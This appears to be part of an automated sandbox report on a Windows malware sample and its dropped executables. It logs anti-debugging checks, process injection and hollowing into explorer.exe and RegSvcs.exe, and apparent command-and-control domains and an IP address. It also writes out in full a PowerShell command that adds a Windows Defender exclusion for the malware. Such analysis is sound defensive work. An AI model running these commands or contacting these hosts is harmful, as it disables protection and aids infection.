Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93B73D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9A5F5F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91A745 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94DF4C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A942F70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A916F60 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E760 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93E760 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8F6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CF6A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91649B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91649B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91EC9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D4496 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A911480 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914CB0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94D4B0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E9CB3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A912CDB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94CCC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CD4E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C14 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC01 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914439 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A955C70 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C75 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913591 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9435A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFDD3 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9115C1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9495EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F51D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A937D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C8D47 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C3D40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91354C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91354C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_02C00D90 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_02C0092B mov eax, dword ptr fs:[00000030h]

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Roaming\cviueca	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A946B90 rdtsc

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\cviueca

Code function: 26_1_004026C8 LdrLoadDll,

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_0041D090 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_0041D090 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 319A.exe.7.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Roaming\cviueca	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Roaming\cviueca	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\cviueca	Memory written: C:\Users\user\AppData\Roaming\cviueca base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Memory written: unknown base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Memory written: unknown base: 400000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\cviueca

Code function: 22_2_02C70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Thread created: C:\Windows\explorer.exe EIP: 3111920
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Thread created: unknown EIP: 4EC1920
Source: C:\Users\user\AppData\Roaming\cviueca	Thread created: unknown EIP: 5011920
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Thread created: unknown EIP: 54219C0
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Thread created: unknown EIP: 5051920

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

